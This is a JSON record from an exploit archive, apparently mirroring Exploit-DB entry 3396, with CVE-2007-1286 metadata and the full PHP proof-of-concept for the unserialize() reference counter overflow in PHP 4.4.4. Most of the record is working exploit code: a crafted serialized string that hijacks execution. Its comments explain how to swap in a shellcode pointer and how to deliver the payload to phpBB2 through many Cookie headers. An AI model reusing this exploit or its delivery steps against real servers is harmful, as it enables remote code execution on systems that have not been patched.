{"exploit":{"id":"EDB-3396","name":"PHP 4.4.4 - 'Unserialize()' ZVAL Reference Counter Overflow (PoC)","description":"PHP 4.4.4 - 'Unserialize()' ZVAL Reference Counter Overflow (PoC)","cves":["CVE-2007-1286"],"author":"Stefan Esser","published":"2007-03-02","platform":"linux","type":"dos","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3396","path":"exploits/linux/dos/3396.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3396.php","vulnerabilities":[{"id":"CVE-2007-1286","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer overflow in PHP 4.4.4 and earlier allows remote context-dependent attackers to execute arbitrary code via a long string to the unserialize function, which triggers the overflow in the ZVAL reference counter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1286","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1286"},"updatedAt":"2024-08-07T12:50:34.928Z","retrievedAt":"2026-11-27T02:07:24.739Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3396.png?v=2","url":"https://exploitbin.com/exploits/EDB-3396","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3396/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3396/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n  ////////////////////////////////////////////////////////////////////////\n  //  _  _                _                     _       ___  _  _  ___  //\n  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \\| || || _ \\ //\n  // | __ |/ _` || '_|/ _` |/ -_)| ' \\ / -_)/ _` ||___||  _/| __ ||  _/ //\n  // |_||_|\\__,_||_|  \\__,_|\\___||_||_|\\___|\\__,_|     |_|  |_||_||_|   //\n  //                                                                    //\n  //         Proof of concept code from the Hardened-PHP Project        //\n  //                   (C) Copyright 2007 Stefan Esser                  //\n  //                                                                    //\n  ////////////////////////////////////////////////////////////////////////\n  //           PHP 4 - unserialize() Reference Counter Overflow         //\n  ////////////////////////////////////////////////////////////////////////\n\n  // This is meant as a protection against remote file inclusion.\n  die(\"REMOVE THIS LINE\");\n\n  // This exploit is only designed for linux x86 systems\n  // where 0x08064058 is a readable address in the PHP process\n  // (should be unless binary images are relocated default systems)\n  //\n  // The exploit does nothing useful. It just proves that the CPU\n  // will try to execute the instruction at 0x99887766 which results\n  // in a crash. Just replace it with a pointer to your shellcode and\n  // it will work.\n  //\n  // To exploit phpBB2 with this you need to put a similar string\n  // into the cookie. You must work around the size limit of HTTP\n  // headers by using MANY Cookie: headers (not folded lines, real\n  // headers). Additionally you must put at the end of ever line\n  // a line terminator s:2:\" and start every following line with\n  // \";N; of course with URL encoded ';'\n\n  $hashtable = str_repeat(\"A\", 39);\n\n  $hashtable[5*4+0]=chr(0x58);\n  $hashtable[5*4+1]=chr(0x40);\n  $hashtable[5*4+2]=chr(0x06);\n  $hashtable[5*4+3]=chr(0x08);\n\n  $hashtable[8*4+0]=chr(0x66);\n  $hashtable[8*4+1]=chr(0x77);\n  $hashtable[8*4+2]=chr(0x88);\n  $hashtable[8*4+3]=chr(0x99);\n\n  $str = 'a:100000:{s:8:\"AAAABBBB\";a:3:{s:12:\"0123456789AA\";a:1:{s:12:\"AAAABBBBCCCC\";i:0;}s:12:\"012345678AAA\";i:0;s:12:\"012345678BAN\";i:0;}';\n  for ($i=0; $i<65535; $i++) {\n    $str .= 'i:0;R:2;';\n  }\n  $str .= 's:39:\"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\";s:39:\"'.$hashtable.'\";i:0;R:3;';\n\n  unserialize($str);\n\n?>\n\n# milw0rm.com [2007-03-02]","sha256":"de04eff55a681aed96fe44dffa8cc36ba1192594858a16df708a672a0f2dd31d","bytes":2426,"fetchedAt":"2026-11-27T02:07:24.501Z","encoding":"utf-8 (display only; download retains original bytes)"}